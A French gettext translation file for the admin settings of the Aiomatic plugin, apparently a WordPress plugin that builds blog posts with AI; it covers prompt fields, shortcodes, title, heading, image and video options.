msgid "Select the AI Model to be used for text generator." msgstr "Sélectionnez le modèle d'IA à utiliser pour le générateur de texte." #: res/aiomatic-rules-list.php:1071 msgid "AI Model For Text Generator:" msgstr "Modèle d'IA pour le générateur de texte :" #: res/aiomatic-rules-list.php:1090 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI. " "This command can be any given task or order, based on which, it will " "generate content for posts. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "à OpenAI. Cette commande peut être n'importe quelle tâche ou ordre donné, " "sur la base duquel il générera du contenu pour les articles. Vous pouvez " "utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez " "également ajouter un lien vers un fichier TXT, contenant des mots-clés (un " "par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez " "également utiliser les shortcodes supplémentaires suivants : " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La " "longueur de cette commande ne doit pas être supérieure au nombre maximum de " "jetons défini dans les paramètres de la commande du Pompt - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pouvez également ajouter " "ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs " "Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque " "exécution. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Custom Shortcode Creator\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-rules-list.php:1095 msgid "Prompt For The OpenAI Text Generator:" msgstr "Prompt pour le générateur de texte OpenAI :" #: res/aiomatic-rules-list.php:1106 res/aiomatic-rules-list.php:3617 #, php-format msgid "" "Select the minimum number of characters that the posts should have. If the " "API returns content which has fewer characters than this number, another API " "call will be made, until this character limit is met. Please check about API " "rate limiting here." msgstr "" "Sélectionnez le nombre minimum de caractères que les messages doivent " "contenir. Si l'API renvoie un contenu contenant moins de caractères que ce " "nombre, un autre appel à l'API sera effectué, jusqu'à ce que la limite de " "caractères soit atteinte. Pour en savoir plus sur la limitation du nombre de " "caractères par l'API, cliquez ici." #: res/aiomatic-rules-list.php:1110 msgid "AI Content Minimum Character Count:" msgstr "Contenu IA Nombre minimum de caractères :" #: res/aiomatic-rules-list.php:1117 res/aiomatic-rules-list.php:3626 #, php-format msgid "" "Post Title - AI Text Generator Options (%%ai_generated_title%% shortcode)" msgstr "" "Titre de l'article - Options du générateur de texte IA " "(%%ai_generated_title%% shortcode)" #: res/aiomatic-rules-list.php:1120 res/aiomatic-rules-list.php:3627 #, php-format msgid "" "The %%ai_generated_title%% shortcode can be used in the 'Post Title List / " "TXT File URL / RSS Feed URL' settings field, to get partial or fully AI " "generated titles." msgstr "" "Le shortcode %%ai_generated_title%% peut être utilisé dans le champ de " "configuration \"Liste des titres des postes / TXT File URL / RSS Feed URL\", " "pour obtenir des titres partiellement ou entièrement générés par l'IA." #: res/aiomatic-rules-list.php:1130 #, php-format msgid "" "Select the AI Model to be used for title text generator. You can add this to " "the post titles, using the %%ai_generated_title%% shortcode." msgstr "" "Sélectionnez le modèle IA à utiliser pour le générateur de texte de titre. " "Vous pouvez l'ajouter aux titres des articles en utilisant le shortcode " "%%ai_generated_title%%." #: res/aiomatic-rules-list.php:1134 msgid "AI Model For Title Text Generator:" msgstr "Modèle d'IA pour le générateur de texte du titre :" #: res/aiomatic-rules-list.php:1153 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "for generating post titles. This command can be any given task or order, " "based on which, it will generate content for posts. You can use the " "following shortcodes here: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also " "add a link to a TXT file, containing keywords (one per line), or to an RSS " "feed. If you use RSS feeds, you can also use the following additional " "shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "à OpenAI pour générer des titres d'articles. Cette commande peut être " "n'importe quelle tâche ou ordre donné, sur la base duquel il générera du " "contenu pour les articles. Vous pouvez utiliser les shortcodes suivants " "ici : %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien " "vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux " "RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les " "shortcodes supplémentaires suivants : %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette " "commande ne doit pas être supérieure au nombre maximum de jetons défini dans " "les paramètres de la commande du Pompt - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:1158 msgid "Prompt For The OpenAI Title Text Generator:" msgstr "Prompt pour le générateur de texte de titre OpenAI :" #: res/aiomatic-rules-list.php:1168 res/aiomatic-rules-list.php:3131 #: res/aiomatic-rules-list.php:3666 res/aiomatic-youtube-list.php:2897 msgid "" "Select the source of the post title. If you select AI generated, the plugin " "will create an AI generated title based on keywords you enter in the 'Post " "Title List' settings field. Otherwise, it will use the titles listed there, " "for the created posts." msgstr "" "Sélectionnez la source du titre de l'article. Si vous sélectionnez IA " "generated, le plugin créera un titre généré par l'IA sur la base des mots-" "clés que vous entrez dans le champ de configuration 'Liste des titres des " "articles'. Sinon, il utilisera les titres listés dans ce champ pour les " "articles créés." #: res/aiomatic-rules-list.php:1172 msgid "Post Title Source:" msgstr "Titre du poste Source :" #: res/aiomatic-rules-list.php:1176 res/aiomatic-rules-list.php:3676 msgid "Use The Titles From The 'Post Title List' Settings Field" msgstr "" "Utiliser les titres du champ de paramétrage \"Liste des titres des messages\"" #: res/aiomatic-rules-list.php:1177 res/aiomatic-rules-list.php:3681 msgid "Fully AI Generated Titles" msgstr "Titres entièrement générés par l'IA" #: res/aiomatic-rules-list.php:1182 res/aiomatic-rules-list.php:3684 msgid "Rich Content Creation Options" msgstr "Options de création de contenu enrichi" #: res/aiomatic-rules-list.php:1189 res/aiomatic-rules-list.php:3688 #: res/aiomatic-spinner-list.php:1078 msgid "" "Set the maximum number of related headings to add to the created post " "content. This feature will use the 'People Also Ask' feature from Google and " "Bing. By default, the Bing engine is scraped, if you want to enable also " "Google scraping, add a SerpAPI key in the plugin's 'Main Settings' menu -> " "'SerpAPI API Key' settings field." msgstr "" "Définissez le nombre maximum de rubriques connexes à ajouter au contenu de " "l'article créé. Cette fonction utilisera la fonction \"People Also Ask\" de " "Google et Bing. Par défaut, le moteur Bing est scrappé, si vous souhaitez " "activer également le scrappage de Google, ajoutez une clé SerpAPI dans le " "menu 'Paramètres principaux' du plugin -> 'Clé API SerpAPI'." #: res/aiomatic-rules-list.php:1193 res/aiomatic-spinner-list.php:1082 msgid "Maximum Number Of Related Headings to Add To The Content:" msgstr "Nombre maximum de rubriques connexes à ajouter au contenu :" #: res/aiomatic-rules-list.php:1204 res/aiomatic-spinner-list.php:1094 msgid "Select the AI Model to be used for headings generator." msgstr "Sélectionnez le modèle IA à utiliser pour le générateur d'en-têtes." #: res/aiomatic-rules-list.php:1208 res/aiomatic-spinner-list.php:1098 msgid "AI Model For The Headings Generator:" msgstr "Modèle d’IA pour le générateur de titres :" #: res/aiomatic-rules-list.php:1227 res/aiomatic-rules-list.php:3720 #, php-format msgid "" "Set the prompt you will use when searching for related headings. You can use " "the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same " "model will be used, as the one selected for content creation. If you leave " "this field blank, the default prompt will be used: 'Write " "%%needed_heading_count%% PAA related questions, each on a new line, for the " "title: %%post_title%%' You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Définissez le Promptque vous utiliserez lors de la recherche de rubriques " "apparentées. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, " "%%need_heading_count%%. Le modèle utilisé sera le même que celui sélectionné " "pour la création du contenu. Si vous laissez ce champ vide, le Prompt par " "défaut sera utilisée : Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonction \"Créateur de shortcodes " "personnalisés\" dans les paramètres de la règle - cela vous permettra de " "créer des prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:1231 msgid "Related Headings AI Generator Prompt:" msgstr "Rubriques connexes à la création de Prompts d'une IA :" #: res/aiomatic-rules-list.php:1242 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the 'Royalty Free Image' settings from the plugin's " "'Main Settings' menu or if you have access to the DallE API." msgstr "" "Définissez le nombre maximum d'images associées à ajouter au contenu de " "l'article créé. Cette fonctionnalité utilisera les paramètres 'Royalty Free " "Image' du menu 'Paramètres principaux' du plugin ou si vous avez accès à " "l'API DallE." #: res/aiomatic-rules-list.php:1246 res/aiomatic-spinner-list.php:1142 msgid "Maximum Number Of Related Images to Add To The Content:" msgstr "Nombre maximum d'images connexes à ajouter au contenu :" #: res/aiomatic-rules-list.php:1257 res/aiomatic-rules-list.php:3743 #: res/aiomatic-spinner-list.php:1190 msgid "" "Add a related YouTube video to the end of to the created post content. This " "feature will require you to add at least one YouTube API key in the plugin's " "'Main Settings' -> 'YouTube API Key List' settings field." msgstr "" "Ajouter une vidéo YouTube à la fin du contenu de l'article créé. Cette " "fonctionnalité nécessite l'ajout d'au moins une clé API YouTube dans le " "champ \"Paramètres principaux\" -> \"YouTube API Key List\" du plugin." #: res/aiomatic-rules-list.php:1261 res/aiomatic-spinner-list.php:1194 msgid "Add A Related Video To The End Of The Post:" msgstr "Ajouter une vidéo à la fin de l'article :" #: res/aiomatic-rules-list.php:1268 res/aiomatic-rules-list.php:3756 msgid "Manual Headings and Images List" msgstr "En-têtes manuels et liste d’images" #: res/aiomatic-rules-list.php:1275 res/aiomatic-rules-list.php:3760 #, php-format msgid "" "Add a list of headings (one on each line) to use in the generated articles. " "You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins)." msgstr "" "Ajouter une liste de titres (un par ligne) à utiliser dans les articles " "générés. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. - Mise à jour : les shortcodes imbriqués sont également pris " "en charge (shortcodes générés par des règles provenant d'autres plugins)." #: res/aiomatic-rules-list.php:1279 msgid "Manual List Of Headings:" msgstr "Liste manuelle des titres :" #: res/aiomatic-rules-list.php:1289 res/aiomatic-rules-list.php:3773 msgid "" "Add a list of image URLs (one on each line) to use in the generated " "articles. - Update: nested shortcodes also supported (shortcodes generated " "by rules from other plugins)." msgstr "" "Ajouter une liste d'URLs d'images (une sur chaque ligne) à utiliser dans les " "articles générés. - Mise à jour : les shortcodes imbriqués sont également " "pris en charge (shortcodes générés par des règles provenant d'autres " "plugins)." #: res/aiomatic-rules-list.php:1293 msgid "Manual List Of Images:" msgstr "Liste manuelle des images :" #: res/aiomatic-rules-list.php:1452 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "for generating post categories. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez " "envoyer à OpenAI pour générer des catégories d'articles. Vous pouvez " "utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez " "également ajouter un lien vers un fichier TXT, contenant des mots-clés (un " "par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez " "également utiliser les shortcodes supplémentaires suivants : " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La " "longueur de cette commande ne doit pas être supérieure au nombre maximum de " "jetons défini dans les paramètres de la commande du Pompt - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pouvez également ajouter " "ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs " "Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque " "exécution. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Custom Shortcode Creator\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-rules-list.php:1579 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "for generating post tags. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez " "envoyer à OpenAI pour générer des balises de message. Vous pouvez utiliser " "les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez " "également ajouter un lien vers un fichier TXT, contenant des mots-clés (un " "par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez " "également utiliser les shortcodes supplémentaires suivants : " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La " "longueur de cette commande ne doit pas être supérieure au nombre maximum de " "jetons défini dans les paramètres de la commande du Pompt - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pouvez également ajouter " "ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs " "Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque " "exécution. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Custom Shortcode Creator\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-rules-list.php:1778 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. The length of this command should not " "be greater than 1000 characters, otherwise the plugin will strip it to 1000 " "characters length. - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You can also add here a link to a ." "txt file, where you can add multiple prompts (one per line) and the plugin " "will select a random one at each run. You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "au générateur d'images IA. Cette commande peut être n'importe quelle tâche " "ou ordre donné, sur la base duquel le générateur d'images génèrera des " "images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. La longueur de cette commande ne doit pas être supérieure à " "1000 caractères, sinon le plugin la réduira à 1000 caractères. - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pouvez également " "ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter " "plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au " "hasard à chaque exécution. Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonction \"Custom Shortcode Creator\" à partir " "des paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu. Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonction \"Custom Shortcode Creator\" à partir " "des paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-rules-list.php:1832 res/aiomatic-rules-list.php:4308 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, " "%%random_image[mot-clé]%%, %%random_image_url[mot-clé]%%, %%random_video[mot-" "clé]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser " "un paramètre facultatif dans les shortcodes random_image et random_video, " "qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - " "exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% of " "cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pourrez également " "utiliser les shortcodes personnalisés définis dans la fonctionnalité " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:1847 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, " "%%random_image[mot-clé]%%, %%random_image_url[mot-clé]%%, %%random_video[mot-" "clé]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser " "un paramètre facultatif dans les shortcodes random_image et random_video, " "qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - " "exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% of " "cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pourrez également " "utiliser les shortcodes personnalisés définis dans la fonctionnalité " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:1920 res/aiomatic-youtube-list.php:1704 msgid "Process Each Title/Topic Only Once:" msgstr "Traiter chaque titre/sujet une seule fois :" #: res/aiomatic-rules-list.php:2106 res/aiomatic-rules-list.php:4605 #, php-format msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2, ... . You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%" msgstr "" "Définit les champs personnalisés qui seront définis pour les articles " "générés. La syntaxe de ce champ est la suivante : nom_du_champ_personnalisé1 " "=> valeur_du_champ_personnalisé1, nom_du_champ_personnalisé2 => " "valeur_du_champ_personnalisé2, ... . Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonction \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu. Vous pouvez également utiliser " "les shortcodes suivants basés sur les sujets : %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%" #: res/aiomatic-rules-list.php:2121 res/aiomatic-rules-list.php:4617 #, php-format msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators. " "You can also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%" msgstr "" "Définir les taxonomies personnalisées qui seront définies pour les articles " "générés. La syntaxe de ce champ est la suivante : custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B ; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B ; ... . Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la fonction " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu. Vous pouvez " "également utiliser les shortcodes suivants basés sur les sujets : " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%" #: res/aiomatic-rules-list.php:2999 #, php-format msgid "" "If you set a post topic list here, the titles you entered in the \\'Post " "Title List\\' settings field will not be considered and titles will be auto " "generated based on this topic! Be sure to edit the \\'Title Prompt\\' " "settings from below to change the way titles will be created! Enter a post " "topic list, one on each line. If you leave this field blank, the titles from " "entered in the 'Post Title List' settings field will be used. If you enter a " "value here, new titles will be created, based on this topic and the values " "from the 'Post Title List' will be overwritten. If you enter multiple topics " "(one per line), a random topic will be selected at each run. This will set " "the value of the %%topic%% shortcode, which can be used in prompts below. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Si vous définissez une liste de sujets de messages ici, les titres que vous " "avez saisis dans le champ de configuration \"Liste des titres des postes\" " "ne seront pas pris en compte et les titres seront générés automatiquement en " "fonction de ce sujet ! Veillez à modifier les paramètres du champ \"Titre " "Prompt\" ci-dessous pour changer la façon dont les titres seront créés ! " "Entrez une liste de sujets de messages, un sur chaque ligne. Si vous laissez " "ce champ vide, les titres saisis dans le champ \"Liste des titres des " "postes\" seront utilisés. Si vous entrez une valeur dans ce champ, de " "nouveaux titres seront créés, basés sur ce sujet, et les valeurs de la " "\"Liste des titres de messages\" seront écrasées. Si vous saisissez " "plusieurs thèmes (un par ligne), un thème aléatoire sera sélectionné à " "chaque exécution. Cela définira la valeur du shortcode %%topic%%, qui peut " "être utilisé dans les Prompts ci-dessous. Vous pourrez également utiliser " "les codes courts personnalisés définis dans la fonction \"Créateur de codes " "courts personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3002 msgid "Auto Generate Post Title Based On Topics (Optional)" msgstr "" "Générer automatiquement le titre de l'article en fonction des sujets " "(optionnel)" #: res/aiomatic-rules-list.php:3015 res/aiomatic-youtube-list.php:2781 msgid "Post Sections List (Optional)" msgstr "Liste des sections d'articles (facultatif)" #: res/aiomatic-rules-list.php:3028 res/aiomatic-youtube-list.php:2794 msgid "Number Of Content Sections To Generate" msgstr "Nombre de sections de contenu à générer" #: res/aiomatic-rules-list.php:3040 res/aiomatic-youtube-list.php:2806 msgid "Add Sections To Content As" msgstr "Ajouter des sections au contenu en tant que" #: res/aiomatic-rules-list.php:3105 res/aiomatic-youtube-list.php:2871 msgid "Number of Images To Add To The Article" msgstr "Nombre d'images à ajouter à l'article" #: res/aiomatic-rules-list.php:3117 res/aiomatic-youtube-list.php:2883 msgid "Add An Image To Each Heading Of The Article" msgstr "Ajouter une image à chaque titre de l'article" #: res/aiomatic-rules-list.php:3134 res/aiomatic-rules-list.php:3669 #: res/aiomatic-youtube-list.php:2900 msgid "Post Title Source" msgstr "Titre du poste Source" #: res/aiomatic-rules-list.php:3158 msgid "" "Set the number of related videos to add to the created post content. The " "maximum number of videos you can add to each article: number of sections" msgstr "" "Définissez le nombre de vidéos connexes à ajouter au contenu de l'article " "créé. Nombre maximum de vidéos pouvant être ajoutées à chaque article : " "nombre de sections" #: res/aiomatic-rules-list.php:3161 msgid "Number of YouTube Videos To Add To The Article" msgstr "Nombre de vidéos YouTube à ajouter à l’article" #: res/aiomatic-rules-list.php:3280 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Invite à utiliser pour le titre de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonctionnalité \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des 